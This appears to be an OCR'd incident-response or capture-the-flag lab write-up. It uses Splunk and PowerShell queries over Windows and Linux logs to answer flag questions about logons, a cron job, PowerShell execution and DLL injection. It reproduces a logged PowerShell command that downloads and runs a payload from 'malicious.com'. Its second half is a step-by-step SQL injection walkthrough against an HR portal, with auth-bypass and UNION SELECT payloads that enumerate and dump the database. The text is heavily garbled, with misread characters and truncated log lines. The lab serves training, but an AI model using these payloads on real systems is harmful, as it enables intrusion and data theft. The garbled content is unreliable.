Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4625} | Select-Object
-First 10 | Format-List

Logon ID: oxe

Logon Type:

S Q
Administrator
Account Domain: WORKGROUP

Failure Information:

ailure Reason: Unknown user name or bad password.
Status: axC 6D

Sub Status:

Process Information:
ler Process ID:
Caller Process Name:

Network Information:

Workstation Name: ETNODEVPS
Source Network Address: 1.164.248
Source Port: 57629

Detailed Authentication Infermation:
Logon Process: NtLmSsp
Authentication Package: NTLM
Transited Services: -

I kage Name (NTLM only):
Key Length: (<]

This event is generated when a logon request fails. It is generated on the computer where access was attempted.

Or check manually in Event Viewer:

e Open Event Viewer
e Goto Windows Logs > Security
« Filter by Event ID 4625

LOGON

Which account successfully initiated a logon on billing server?
answer: system

index="*" host="billing_srv" EventID=4624



index="#" host="billing_srv"

+ 1,000 events (before 5/28/25 8:19:04.000 PM) No Event Sampling v
Events(1,000)  Patterns  Stafistics  Visualization
# Timeline format v — Zoom Out

# Format + Show: 20 Per Page v View: List v
< Hide Fields i= Al Fields A e Event

> 5/2125 "4625", "prod-bill-srv","System.Byte[1","231997", " (12544)","12544", "FailureAudit”,
SELECTED FIELDS

9:13:47.000 AM
a host 1
a source 1
‘ EventID X
a sourcetype 1
3 Values, 100% of events Selected | Yes | No

INTERESTING FIELDS

a Category 2 sourcetype = Billing-si

° ' . Reports
. g:ig\wwumel . Average over time Maximum value over time Minimum value over time | <+ Rl it
a EntryType 2 Top values Top values by time Rare values

(i EE 2 Events with this field

# extracted_Index 100
Avg: 4625.046 Min: 4624 Max: 4672 Std Dev: 148663852128344
a extracted_Source 1

aindex | Values Count %

e - Biling-s:
# Instanceld 3 g

# linecount 3 958 14", "FailureAudit”,”
a MachineName 1 D 0

a Message 100 - o

a punct 1

a ReplacementStrings 1 Account Name: -

a splunk_server 1 Show all 50 lines

a TimeGenerated 100
host = billing_srv | source = Avarflog/billing_logs/Securitylogs.csv | sourcetype = Billing-si

power

A privileged account logged in the billing server and was granted powerful privileges.
Which Windows Security Event ID indicated that?

answr:4672
index="*" host="billing_srv" EventID=4672

Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4672 } | Format-

List TimeCreated, Message

S C:\Users\labuser> Get-WinEvent Security | Where-Object { ¢ .1d 4672 } | Format-List TimeCreated, Message

imeCreated : 6/4/2025 9:36:38 AM
Message : Special privileges assigned to new logon.

Subject:
Security ID: S5-1-5-21-4291337238-3527184322-4031953837-500
Account Name: labuser
Account Domain: billserver9765
Logon ID: ©x89DB68

Privileges: SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeDebugPrivilege
SeSystemEnvironmentPrivilege
SeImpersonatePrivilege
SeDelegateSessionUserImpersonatePrivilege

cron

A sheduled task that runs everyone minute was created on the customerportal server,
what is the name of the file it is running.
answr : jumpbox.sh index="linux_hosts" sourcetype=syslog process=CRON



index="1inux_hosts" sourcetype=syslog process=CRON

</ 371 events (before 5/28/258:44:24.000 PM)  No Event Sampling v

Events (3711)  Patterns  Stafistics  Visualization
7 Timeline format + — Zoom Out

#Fomat v Show:20 PerPage v  View: Raw~
< Hide Fields i Event
seteeren FELDS > [ravz rod-custoner-portal CRONL34331: (root) CHD (/ept/scripts/jumpbox-sync.sh)
ahost 2 > fry 2 rod-custoner-portal CRON[34421: (root) CHD (/opt/scripts/jumpbox-sync.sh)
a source 1
a saurcetype 1 > ey 2 rod-custoner-portal CRON[29891: (root) CHD (/ept/scripts/jumpbox-sync.sh)
> [May 22 rod-customer-portal CRON[2935]: (root) CMD (/opt/scripts/jumpbox-sync.sh)
INTERESTING FIELDS
# date_hour 26 > ey 2 rod-custoner-portal CRON[28851: (root) CHD (/opt/scripts/jumpbox-sync.sh)
#date_mday 3 > frey 2 rod-customer-portal CRON[2834]: (root) CMD (/opt/scripts/jumpbox-sync.sh)

# date_minute 60
a date_month 1 > Jray
# date_second 2
a date_wday 3

# date_year 1 N "
a date_zone 1

aindex 1 > Jray
#linecount 1 N
# pid 100+

a process 1 > Jray
apunct &

a splunk_server 1 [
# timeendpos 1 N

# timestartpos 1

+ Extract New Fields

CLI

) rod-custoner-portal CRON[2784]: (root) CMD (/opt/scripts/jumpbox-sync.sh)

22 22:26:01 frod-customer-portal CRON[27311: (root) CHD (/opt/scripts/jumpbox-sync.sh)
22 22:25:01 frod-customer-portal CRON[26791: (root) CHD (/opt/scripts/jumpbox-sync.sh)
22 22:24:01 Jrod-customer-portal CRON[2632]: (root) CHD (/opt/scripts/jumpbox-sync.sh)
22 22:23:01 frod-customer-portal CRON[2580]: (root) CHMD (/opt/scripts/jumpbox-sync.sh)
22 22:22:01 frod-customer-portal CRON[2527]: (root) CMD (/opt/scripts/jumpbox-sync.sh)
22 22:21:01 frod-customer-portal CRON[24791: (root) CHD (/opt/scripts/jumpbox-sync.sh)
22 22:20:01 frod-customer-portal CRON[2424]: (root) CHD (/opt/scripts/jumpbox-sync.sh)
22 22:19:01 [prod-customer-portal CRON[2370]: (root) CMD (/opt/scripts/jumpbox-sync.sh)
22 22:18:01 frod-customer-portal CRON[2320]: (root) CHD (/opt/scripts/jumpbox-sync.sh)
22 22:17:01 frod-custoner-portal CRON[2272]: (root) CMD ( cd / & run-parts ~-report /etc/cron.hourly)

22 22:17:01 frod-jumpbox CRONL53131: (root) CMD (  cd / 8& run-parts --report /etc/cron.hourly)

Which process initiated the execution of PowerShell on engineer work station?

‘index=

index=

win_hosts" sourcetype=eng_workstation

win_hosts" sourcetype=eng_workstation )

+ 18 events (before 5/28/25 8:50:01.000 PM) No Event Sampling ¥ Job v ” L] 4 1

Events (18) Patterns Statistics Visualization

# Timeline format v — Zoom Out

I | .
~ Format ~ Show: 20 Per Page v View: Raw v

< Hide Fields i Event
> "Application","Servicesim","7036","Information"”,"Service WpnUserService started unexpectedly”,"5/22/2025 4:15:51 PM"

SeLECTED FIELDS

ahost 1 > "Security","Microsoft-Windows-Security-Auditing","4104", "Information”, "PowerShell script: IEX(New-Object Net.WebClient).DownloadString('http://malicious.com/payload.psl')","5/22/2025 4:14:51 PM"

a source 1

it o o ISRV TSI T SRETTUR PR el o i,

a sourcetype 1

"Security", "Microsof t-Windows-Security-Auditing","4688", "Information”,"A new process has been created: Name: powershell.exe, Parent: explorer.exe®,"5/22/2025 4:10:51 PM"

>
INTERESTING FIELDS
@ Channel 12 >
a Computer 7 N

# date_hour 4
# date_mday 1 >
# date_minute 9

a date_month 1

# date_second 8 >
a date_wday 1

# date_year 1

a date_zone 2

a Details 7

@ EventiD 12 >
a ExtraFieldinfo 1

Success

"Security”, "Microsoft-Windows-Security-Auditing”,"4624", "SuccessAudit”, "An account was successfully logged on. Username: eviladmin’,’5/22/2025 4:09:51 PM"
"Security", "Microsoft-Windows-Security-Auditing","4625", "FailureAudit", "An account failed to log on. Subject: Username: adminuser","5/22/2025 4:08:51 PM"

"Application","AppCrashsim’,"1008", "Error", "Application svchost.exe crashed with exception 8xcae008s","5/22/2025 4:07:51 PM"

"LogMame”, "Source", "EventID", "Level”, "Message", "TimeCreated"

"2025-05-22 08:53:41.440 +00:00", "External Remote SMB Logon from Public IP","high","prod-eng-wks',"Sec",4624,229213,"Type: 3 - NETWORK | TgtUser: adminuser | SreComp: AFQC-KILAK | SrcIP: 41.210.147.225 | L
uthenticationPackageName: NTLM | ElevatedToken: YES ! Impersonationlevel: IMPERSONATION | TpPort: 0 | Keylength: 128 | LmPackageName: NTLM V2 | LogonGuid: 00000000-8800-0000-0000-800000000000 | LogonProces
ProcessId: 0 | ProcessName: - | RestrictedAdminMode: - | subjectDomainName: - | SubjectlogonId: 0x0 | SubjectUserName: - | SubjectUserSid: S-1-0-@ | TargetDomainName: prod-eng-wks | TargetlinkedLogonId: 0x

dDomainName: - | TargetOutboundUserName: - | TargetUserSid: S-1-5-21-3860370715-2959418613-95399058-500 | TransmittedServices: - | VirtualAccount: NO","Sc67a566-7829-eb0S-421f-02b292ef993f"

"2025-05-22 08:53:37.731 +00:00","External Remote SMB Logon from Public IP","high","prod-eng-wks',"Sec",4624,229209,"Type: 3 - NETWORK | TetUser: adminuser | SrcComp: AFQC-KILAK | SrcIP: 41.210.147.225 | L
uthenticationPackageName: NTLM | ElevatedToken: YES | ImpersonationLevel: IMPERSONATION | IpPort: @ | Keylength: 128 | LmPackageName: NTLM V2 | LogonGuid: 00000000-0006-0000-0000-690300000000 | LogonProces

Q4. After failed login attempts , attacker gained access to the eng_workstation using a

new account

¢ Flag 4: which user and what was the first time stamp attacker gained access and ?e.g
flag format guest:3/22/2025 4:05:59 PM

index="win_hosts" sourcetype=eng_workstation



i Event

<Hide Fields = All Fields
> "Application”,"Servicesim’,"7036" " Information’,"Service WonUserService started unexpectedly”,"5/22/2025 4:15:51 PM"
SELECTED FIELDS
ahost 1 > "Security”,"Microsoft-Nindows-Security-Auditing","4104"," Information” ,"Powershell script: IEX(New-Object Net.WebClient).Downloadstring('http: //malicious. com/payload. psi')","5/22/2025 4:14:51 PM"
a source 1
a sourcetype 1 > "Application,"COMSim’,"8001","Information’,"COM object CLSID {ABC-123} loaded by rundll32.exe","5/22/2025 4:13:51 PM
> "Security”,"Microsoft-Nindows-Security-Auditing", "4688"," Information” ,"A new process has been created: Name: powershell.exe, Parent: explorer.exe","5/22/2025 4:10:51 PM"
INTERESTING FIELDS
4 Channel 12 > "Security”,"Microsoft-Nindows-Security-Auditinggd624" " SuccessAudit®,"An account was successfully logeed ci Username: eviladmin","5/22/2025 4:03:51 PM" I

a Computer 7
# date_hour 4
# date_mday 1 > "Application","AppCrashsj
# date_minute 9
a date_month 1
# date_second 8 N
a date_wday 1

> "Security”,"Microsoft-Windows-Securi; fting", "4625", "FailureAudit”, "An account failed to log on. Subject: Username: adminuser","5/22/2025 4:08:51 PM"
00", "Error", "Application svchost.exe crashed with exception 0xc0000005","5/22/2025 4:07:51 PH"
> "LogName","Souzee® 'EventID", "Level”, "Message","TimeCreated"

22 08:53:41.440 +00:00", "External Remote SMB Logon from Public IP","high","prod-eng-wks","Sec",4624,229213," Type: 3 - NETWORK | TgtUser: adminuser | SrcComp: AFQC-KILAK

| SrcIP: 41.210.147.225 | LID: 0x8db6460","A

UthenticationPackageName: NTLM | ElevatedToken: YES | Impersonationlevel: IMPERSONATION | IpPort: 0 | Keylength: 128 | LmPackageName: NTLM V2 | LogonGuid: 00000000-0000-0000-0000-000000000000 | LogonProcessName: NeLmSsp |

# date_year 1 Processld: 0 | ProcessName: - | Restrictedidmindode: - | SubjectDomainName: - | Subjectlogonld: 0x0 | SubjectUserName: - | SubjectUserSid: S-1-0-0 | TarzetDomainName: prod-eng-wks | Targetlinkedlogonld: 0x0 | TargetOutboun
a date_zone 2 dDomainName: - | TargetOutboundUserName: - | TargetUserSid: S-1-5-21-3860370715-3959418613-95399058-500 | TransmittedServices: - | VirtualAccount: NO","5c67a566-7829-eb5-4a1f-0eb292ef993f"

a Details 7

a EventlD 12 > "2025-05-22 ©8:53:37.731 +00:00", "External Remote SMB Logon from Public IP","high","prod-eng-wks","Sec" 4624,229209,"Type: 3 - NETWORK | TgtUser: adminuser | SrcComp: AFQC-KILAK | SrcIP: 41.210.147.225 | LID: @x8dbsbba","A
a ExtraFieldinfo 1 uthenticationPackageName: NTLM | ElevatedToken: YES | Impersonationlevel: IMPERSONATION | IpPort: 0 | Keylength: 128 | LmPackageName: NTLM V2 | LogonGuid: 00000000-0000-0000-0000-000000000000 | LogonProcesshame: NtLmSsp |

a index 1 ProcessId: @ | ProcessName: - | RestrictedAdminMode: - | SubjectDomainName: | SubjectLogonId: @x0 | SubjectUserName: - | SubjectUserSid: S-1-0-0 | TargetDomainName: prod-eng-wks | TargetLinkedLogonId: @x@ | TargetOutboun
# Level 11 dDomainName: - | TargetOutboundUserName: - | TargetUserSid: $-1-5-21-3860370715-3959418613-95399058-500 | TransmittedServices: - | VirtualAccount: NO","5c67a566-7829-eb05-4a1f-0eb292ef993f"

# linecount 1
a punct 12

> "2025-05-22 08:50:21.544 +00:00", "External Remote SWB Logon from Public IP","high”,"prod-eng-wks","Sec",4624,229013," Type: 3 - NETWORK | TetUser: adminuser | SrcComp: DESKTOP-QGHGLHH | SrcIP: 162.215.111.41 | LID: 0x8d7dsc

e 6%, "Authenticat NTLK § E: VES | ImpersonationLevel: IMPERSONATION | IpPort: 0 | KeyLength: 128 | LnPackageNane: NTLM V2 | LogonGuid: 00060000-0000-0000-0000-000000000000 | LogonProcesshane: NeLms
;I‘”“')‘ sp | Processid: 0 | Processhame: - | RestrictedAdminMode: - | SubjectDomainName: - | SubjectLogonld: 0x0 | SubjectUserName: - | SubjectUsersid: S-1-0-0 | TargetDomainName: prod-eng-wks | TargetLinkedLogonld: 0x0 | TargetOu

e tboundDomainName: - | TargetOutboundUserName: - | TargetUserSid: S-1-5-21-3860370715-3959418613-95399058-500 | TransmittedServices: - § VirtualAccount: NO',"5c67a566-7829-eb05-4al f-0eb292e 993"

a RuleTitle

a splunk_server 1 > "2025-05-22 07:41:49.932 +00:00", "External Remote SWB Logon from Public IP","high”,"prod-eng-wks","Sec”,4624,223062,"Type: 3 - NETWORK | TetUser: adminuser | SrcComp: DESKTOP-QGHELHH § SrcIP: 102.215.111.41 | LID: 0xB8c2cB

injection

Your SIEM alerts you that a suspicious DLL was injected into a legitimate Windows

process on a user’s workstation.

After reviewing process memory and analyzing the injection, you can confirm the what

DLL was loaded into the target process by a remote thread.

gn: Which process was the malicious DLL injected into and what i sthe name

of the malicious dl1?

New Search

index="win_hosts" sourcetype=eng_workstation dl1

 1event (before 5/28/25 9:2102.000 PM)  No Event Sampling ¥
Events()  Patterns  Statistics  Visualization
7 Timeline format —Zoom Out

SaveAsv  Create Table View

Al tin

Jobw. s & L 0

1milisee

# Format v Show: 20 PerPage ™ View: Raw v

< Hide Fields = All Fields i Event

cetecTED FELDS > “Application’,"Appsim’,"9393", "Warning”,"DLL injected into prDcEIs notepad Exel ro T \Use TS\ PUBTIC\pay 1020, 011 | *5/22/2025 4: 11:51

@ host 1
asource 1
a sourcetype 1

INTERESTING FIELDS
a Channel 1

a Computer 1

# date_hour 1

# date_mday 1

# date_minute 1
a date_month 1
a date_wday 1

# date_year 1

a date_zone 1

a EventiD 1
aindex 1

#Level 1
#linecount 1

a punct 1

a RuleTitle 1

@ solunk server 1

HR

Attacker discovered an employeeHR web portal running internally on the

subscriber_db,that enabled them dumped the entire database and exfiltrated data. As an
IR analysts, invistagate the all attack flow and make a report to the database

administrator

¥ Flag 1: how did the attacker initially accessed the database through the web portal?

answer format vulnerability



http://localhost/employee/index.php

solution.

Based on common scenarios like the one described

(http://localhost/employee/index.php has an HR page. access it in the subscriber db
srver.

i ] @ Telesecure Employee Portal X  +

& O | @ localhost/employee/index.php

Telesecure Employee Portal

Username:

Password:

This is vulnerable to sql injection. Either by testing using " ' or 1=1# Or by analysing

the iis logs found at C:\inetpub\logs\LogFiles\W3SVC1"

/employee/login.php username=fEle;ENENEEpassword=test 500 @ © 120 "Mozilla/5.@ (Hydra)
/employee/login.php username=admin’'--&password= 200 @ @ 5 "sqlmap/1.7.8"

Database

Attacker discovered the core Telesecure database running internally
¢ Flag 7: what is the database name and version? asnwewer format

databaseName:vesion

we can run admin' union select 1,2,3,database()#
on the search input field and this will leak the db name.



Telesecure Employee Portal

Welcome, ' or 1=14#!
Explore employee profiles and manage your team.
Employee Search

admin' union select 1,2,3,database()#

Search Results

D Name Email Role
4 Assistant Admin a.admin@telesecure.com admin
1 2 3 employee_db

To know the version of the db you will now run this.
“admin' union select 1,2,3,version()#

output

ANSWER:employee_db:9.2.0

Telesecure Employee Portal

Welcome, 'or 1=1#!
Explore employee profiles and manage your team.
Employee Search

admin' union select 1,2,3,version()#

Search Results

ID Name Email Role
4 Assistant Admin a.admin@telesecure.com admin
1 2 3 9.2.0

Identity

¢ Flag 1:how many tables does the database have ?

to get the table we can either analyse the logs and re run the attacker payloads

or use powershell like this. Get-ChildItem "C:\inetpub\logs\LogFiles\" -Recurse -
Include %.log | Select-String -Pattern "union", "select", "admin™,
"information_schema" |

Out-File C:\IIS_Suspected_SQLi_Logs.txt

~

or run this.

Explanation:



e dnformation_schema.tables : system table that holds all tables in all databases

e where table_schema=database() : filters only the current database.

e count(*) : returns the number of tables in that DB.

' union select 1,2,3,group_concat(table_name) from information_schema.tables

where table_schema=database()#

Welcome, 'or 1=1#!
Explore employee profiles and manage your team.

Employee Search

[ ' union select 1,2,3,group_concat(table ]

Search Results

D Name Email

1 Kansiime Joel k.joel@telesecure.com

2 Elolu Peter e.peter@telesecure.com
5 Obia Alfred o.alfred@telesecure.com
4 Assistant Admin a.admin@telesecure.com
1 2 3

Role

Administrator

Manager

Auditor

admin

employees,users

So the tables are two.

Damped

Attacker dumped the entire databse and discoverd a super user with his id containg the
flag,they also found a search functionlity in the application that led them to the sampe

super user id
¢ Flag 1:what was the flag ?

so to get the flag we need to find the field holding it.

payload. ' UNION SELECT 1,2,3,group_concat(id,':',username,':',role) FROM

users#

output:



Employee Search

[ ' UNION SELECT 1,2,3,group_concat(i ]

Search Results

ID Name Email

Kansiime .
1 k.joel@telesecure.com
Joel

Elolu

2 e.peter@telesecure.com
Peter
Obia
3 o.alfred@telesecure.com
Alfred
Assistant X
4 ) a.admin@telesecure.com
Admin
1 2 employees:email,employeepIoyees:id,employees:name,employees:notes,employees:role,users:id,users:password,users:u:

running this payload will get us the flag.
' UNION SELECT 1,2,3,GROUP_CONCAT(flag) FROM employees—- -

Breakdown:

« ' — Closes the original query's string input, allowing injection of a new SQL
statement.

e UNION SELECT — Combines the results of your injected query with the original query
results. The original query probably expects 4 columns (since you select 4 values
here).

e 1, 2, 3 — These are dummy values for the first three columns just to satisfy the
expected column count and data types.

e GROUP_CONCAT (flag) — This is the key part: it concatenates all values in the flag
column from the employees table into a single string, separated by commas by default.
This pulls all flags stored in the database into the query result.

FROM employees — Specifies the table to pull the flag column data from.

-- - — This comments out the rest of the original query to prevent syntax errors.



Welcome, 'or 1=1#!

Explore employee profiles and manage your team.

Employee Search

[ P_CONCAT(flag) FROM employees-- ]

Search Results

ID Name
1 Kansiime Joel
2 Elolu Peter

3 Obia Alfred

4 Assistant Admin

Email

k.joel@telesecure.com

e.peter@telesecure.com

o.alfred@telesecure.com

a.admin@telesecure.com

Role

Administrator

Manager

Auditor

admin

UCC_DRILL{sqgl_1nj3ct10n_w1ll_n0t_g0_4w4y},NULL,NULL,NULL

This is a SQL Injection payload using UNION SELECT to extract data from the
database by tricking the backend into running your injected query and appending the
result to the original query’s result set.

The above can also be traced from the iis logs.

e WY W av. o

125-06-03 20:50: T

125-06-03 20:50:29 ::1 GET
125-06-03 20:52:39 ::1 GET
125-06-03 20:52:55 ::1 GET
125-06-03 20:56:37 ::1 GET
125-06-03 20:57:28 ::1 GET
125-06-03 20:58:07 ::1 GET
125-06-83 20:58:22 ::1 GET
125-06-03 20:59:07 ::1 GET
125-06-03 21:04:09 ::1 GET
125-06-03 21:04:33 ::1 GET
125-06-03 21:11:41 ::1 GET
125-06-03 21:12:11 ::1 GET
125-06-03 21:12:30 ::1 GET
125-06-03 21:12:41 ::1 GET
125-86-03 21:13:57 ::1 GET
125-06-83 21:14:01 ::1 GET
125-06-03 21:16:28 ::1 GET
125-06-03 21:19:29 ::1 GET
125-06-03 21:19:58 ::1 GET
125-06-03 21:20:12 ::1 GET
125-06-03 21:21:01 ::1 GET
125-06-03 21:21:15 ::1 GET

/employee/dashboard.
/emplovee/dashboard.

Impersonate

php
php
php
php
php
php
php
php
php
php
php
php
php
php
php
php
php
ph
php
php

vy imoes ww P A R AR s LI I YRRV VIR TN

E3‘**I‘GET‘7émDIDYEE7UHEHDDE?UTDHD‘SEE?tﬁfﬂaﬁin%27+0rder+by+4%23 80 - ::1 Mozilla/5.0+(Windows+NT+10.0;+Win¢
/employee/dashboard.
/employee/dashboard.
/employee/dashboard.
/employee/dashboard.
/employee/dashboard.
/employee/dashboard.
/employee/dashboard.
/employee/dashboard.
/employee/dashboard.
/employee/dashboard.
/employee/dashboard.
/employee/dashboard.
/employee/dashboard.
/employee/dashboard.
/employee/dashboard.
/employee/dashboard.
/employee/dashboard.
/employee/dashboard.
/employee/dashboard.
/employee/dashboard.

search=admin%27+order+by+5%23 80 - ::1 Mozilla/5.0+(Windows+NT+10.0;+Wine
search=admin%27+union+select+1%2C2%2C3%2Cdatabes%28%29%23+ 80 - ::1 Mozi
search=admin%27+union+select+1%2C2%2C3%2Cdatabase%28%29%23+ 80 - ::1 Moz
search=admin%27+union+select+1%2C2%2C3%2C%40version%28%29%23+ 80 - ::1 Mc
search=admin%27+union+select+1%2C2%2C3%2C%40%40version%28%29%23+ 80 - 1
search=admin%27+union+select+1%2C2%2C%4@version%2Cdatabase’%28%29%23+ 80 -
search=admin%27+union+select+1%2C2%2C3%2Cdatabase%28%29%23+ 80 - ::1 Moz
search=admin%27+union+select+1%2C2%2C3%2Cversion%28%29%23 80 - ::1 Mozill
search=%27+union+select+1%2C2%2C3%2Cgroup_concat%28table_name%29+from+ini
search=%27+union+select+1%2C2%2C3%2Cgroup_concat%28table_name%29+from+ind
search=%27+UNION+SELECT+1%2C2%2Cgroup_concat%28column_name%29%2C4+FROM+ir
search=%27+UNION+SELECT+1%2C2%2Cgroup_concat%28column_name%29%2C4+FROM+ir
search=%27+UNION+SELECT+1%2C2%2C3%2Cgroup_concat%28column_name%29%2CA+FR(
search=%27+UNION+SELECT+1%2C2%2C3%2Cgroup_concat%28column_name%29%2CA+FR(
search=%27+UNION+SELECT+1%2C2%2Cgroup_concat¥%28concat%28table_namek2C%27?
search=%27+UNION+SELECT+1%2C2%2Cgroup_concat¥%28concat%28table_name%2C%27?
search=%27+UNION+SELECT+1%2C2%2C3%2Cgroup_concat%281d%2C%27%3A%27%2Cusert

— 1 O 9, 9 . Sy
search=%27+union+select+group_concat%28flagk29%2Cgroup_concat%28email%2p
search=%27+union+select+group_concat%28flagk29%2Cgroup_concat%28email%2p?

php
php

search=722/+UNION+SELECT+1%2C2%2Cgroup_concatx28tTlagra2lnl /%a3A%2 /%2Cemallz:
search=%27+UNION+SELECT+1%2C2%2C3%2Cgroup concat¥%28flagh2C%27%3A%27%2Cem:

Q7. The attacker tried to log into the engineer workstation computer using SMB from
mutile public ip addresses but failed
¢ Flag 7: Which users was attacker trying to login through?



oy s Top 10 Values

a date_zone 2

a Details 7 - 4624

q EventiD 12 g 5/22/2025 4:07:51 PM
a ExtmFickiinfo 1 5/22/2025 4:08:51 PM
a index 1

# Level 11 5/22/2025 4:09:51 PM

# linecount 1 5/22/2025 4:18:51 PM
a punct 12

# RecordlD 7
a@ RulelD 1 5/22/2025 4:12:51 PM

5/22/2025 4:11:51 PM

a RuleTitle 7 5/22/2025 4:13:51 PM
a splunk_server 1

# timeendpos &
a Timestamp 10 5/22/2025 4:15:51 PM

# timestartpos 6

5/22/2025 4:14:51 PM

results of the login failures.

index="win_hosts" host=eng_workstation EventID=4624

7 events (before 6/4/25 10:47:56.000 AM)  No Event Sampling ~
Events(7)  Pattems  Statistics  Visualization
# Timeline format + —Zoom Out

Count kS

7 38.889%
1 5.556%
1 5.556%
1 5.556%
1 5.556%
1 5.556%
1 5.556%
1 5.556%
1 5.556%
1 5.556%

e c |

Job v » & L ? SmartMode~

1 minute per column

7 Format v Show:20PerPage~  View: List v

< Hide Fields All Fields 2| vz Event

eecTED DS > 52225 "2025-05-22 08:53: 41.440 +00:00" , "External Remote SHB Logon from Public IP","high", "prod-eng-wks", "Sec", 4624,229213, "Type: 3 - NETWORK | TetUser: adminuser §SrcComp: AFQC-KILAK | SrcIP: 41.210.147.225 | LID

host 1 85341440 AM  0x8db5460" , "Authenticat NTLM | ELevatedToken: YES | Inpersonationlevel: IMPERSONATION | IpPort: 0 | KeyLength: 128 | L d VL

» cource 1 ogonProcesshane: NtLnSsp § ProcessId: 0 | - ! Restr - 1 sub, - | SubjectLogonld: 0x0 | SubjectUserName: - | SubjectUserSid: S-1-0-0 | TargetDomainName: prod-eng-wks |
TargetL inkedLogonld: Bx0 } Tar - i Tar Name: - | TargetUserSid: S-1-5-21-3860370715-3959418613-95399058-500 | TransmittedServices: - } VirtualAccount: NO',"Sc67a566-7829-¢b

h
a sourcetype 05-4a1F-0eb232ef99 3"

INTERESTING FIELDS. host= eng_workstation - source = /varflog/eng_wrk_station/eng_wrkstation.csv  sourcetype = eng_workstation

4 Channel 1 > 522125 "2025-05-22 08:53:37.731 +00:00", "External Remote SMB Logon from Public IP","high”, "prod-eng-wks","Sec",4624,225209, "Type: 3 - NETWORK | TetUser: adminuser | Srccomp: AFQC-KILAK | SrcIP: 41.210.147.225 | LID
a Computer 1 e

85337731AM  Gx8dbsbba’, "Authenticat: NTLM | ElevatedToken: VES | ImpersonationLevel: IMPERSONATION | IpPort: O | Keylength: 128 |

# date_hour 2
# date_mday 1
# date_minute 4
a date_month 1
# date_second 7

ogonProcesshame: NtLmSsp
TargetLinkedlogonId: 0x0
05-4a1f-0eb292ef993f "

ProcessId: 0 } i - | Restr. - - | SubjectLogonId: 0x0

host= eng_workstation  source = Avarflog/eng_wrk_station/eng_wrkstation.csv | sourcetype = eng_workstation

Lp! T LogonGuid: 00800000-0800-0000-0000-000080000000 | L

T ST - | Tare: 5-1-5-21-3860370715-3359418613-95399058-500 | TransmittedServices: - | VirtualAccount: NO","5c67a566-7829-eb

Name: - | id: 5-1-0-0 | Tar prod-eng-wks |

a date_wday 1 > 52228 "2025-05-22 08:50: 21544 +00:00", "External Remote SHB Logon from Public IP","high", "prod-eng-wks", "Sec", 4624,229013, "Type: 3 - NETWORK | Tetuser: adminuser | SrcComp: DESKTOP-QGHGLHH } SrcIP: 102.215.111.41 |

# date_year 1 85021544 AM  LID: 0x8d7d8c6”, "AuthenticationPackageName: NTLM | ElevatedToken: YES | Impersonationlevel: IMPERSONATION | IpPort: 0 ! Keylength: 128 | LmPackagename M V2 | LogonGuid: 00000000-0000-0000-0000-00000000000
# date_zone 1 0 | LogonProcesshame: NtLmSsp | Processid: 0 | Processhame: - | RestrictedAdninkode: - | SubjectDomainName: - | Subjectlogonld: 0x@ | SubjectUserName: - | SubjectUserSid: S-1-0-0 | TargetDomainName: prod-eng-
a Details 7 wks | TargetLinkedLogonId: 6x@ | Tar nName: - | Tar Name: - | TargetUserSid 7 1 Tran: ices: - | VirtualAccount: NO","5c67a566-T
# EventiD 1 829-eb05-431-0eb292eF933F"

Z;‘d‘:“f'“‘"m‘ host= eng_workstation  source = Avar/log/eng_wrk_station/eng_wrkstation.csv | sourcetype = eng_workstation

a Level 1 > s2225 "2025-05-22 07:41:43.932 +00:00"  "External Remote SMB Logon from PUbic IP*,"high”, "prod-eng-vks"  "Sec* 4624, 223062, "Type: 3 - NETWORK SrcCOlva DESKTOP-QGHGLHH | SrclP: 102.215.111.41 |
# linecount 1 7:41:49.932 AM LID: 0x88c2c80","AuthenticationPackageName: NTLM | ElevatedToken: YES | ImpersonationLevel: IMPERSONATION | IpPort: @ } KeylLength: 128 | LmPackageName: WILM V2 | LogonGuid: 00000000-0000-0000-0000-00000000000
a punct 1 © | LogonProcessName: NtLmSsp | ProcessId: @ | ProcessName: - | RestrictedAdminMode: - | SubjectDomainName: - | SubjectLogonId: @x@ | SubjectUserName: - | 5-1-0-0 | T prod-eng—
# RecordID 7 wks | TargetLinkedLogonId: 0x@ | Tar nName: - | Tar Name: - | TargetUserSid: $-1-5-21-386@370715-3953418613-95399058-560 | TransmittedServices: - | VirtualAccount: NO","5c67a566-7
a RulelD 1 829-eb@5-4a1f-0eb292ef993f"

a RuleTitle 1

host= eng_workstation  source = Avar/log/eng_wrk_station/eng_wrkstation.csv | sourcetype = eng_workstation
a splunk_server 1

answer is adminuser

CLI

Which process initiated the execution of PowerShell on engineer work station?

answer. explorer.exe




index="win_hosts" host=eng_workstation
+ 18 events (before 6/4/25 10:25:54000 AM)  No Event Sampling v
Events(18)  Patterns  Statistics  Visualization

# Timeline format + —Zoom Out

7 Format v Show:20PerPage~  View: List v

< Hide Fields = All Fields i Time Event

eLEcTED FiELDS > 512225 ‘hpplication”, "ServiceSin",'7036" , "Information”, "Service NpnUserService started unexpectedly,"5/22/2025 4:15:51 P

4 host 1 415:51000PM  host= eng_workstation | source = Avar/log/eng_wrk_station/eng_wrkstationcsv | sourcetype = eng_workstation

a source 1 > 52225 "Security", "Microsoft-Windows-Security-Auditing" ,"4104", "Information”, "PowerShell script: IEX(New-Object Net.WebClient).DownloadString('http://maliciogf.com/payload.ps1')","5/22/2025 4:14:51 PM"
a sourcetype 1 4:13:51.000 PM

host= eng_workstation  source = Avarflog/eng_wrk_station/eng_wrkstation.csv | sourcetype = eng_workstation

e c |

Job v » & L ? SmartMode~

1hour per column

INTERESTING FIELDS. > 5/22/25 "Application”,"COMSin","8001", "Information", "COM object CLSID {ABC-123} loaded by rundll32.exe","5/22/2025 4:13:51 PM"

@ Channel 12 41351000PM  host = eng_workstation | source = Avar/log/eng_wrk_station/eng_wrkstation.csv | _sourcetype = eng_workstation

a Computer 7 =

# date_hour 4 > 5/22/25' "Securi ty", "Microsof t-Windows-Securi ty-Auditing" , "4688" , "Information”, "A new process has been created: Name: powershell.exe, Parent: explorer.exe”,"5/22/2025 4:10:51 PH" I
# date_mday 1 4:07:510! ST e e R e S e o

# date_minute 9

a date_month 1 > 522125 "Security", "Mierosof t-Windows-Security-Auditing”, "4624" , "SuccessAudit”, "An account was successfully logged on. Username: eviladmin',"s/22/2025 4:09:51 PM"

# date_second 8 407:51000PM ot = eng workstation | source = /var/log/eng_wrk_station/eng_wrkstation.csv = sourcetype = eng_workstation

a date_wday 1

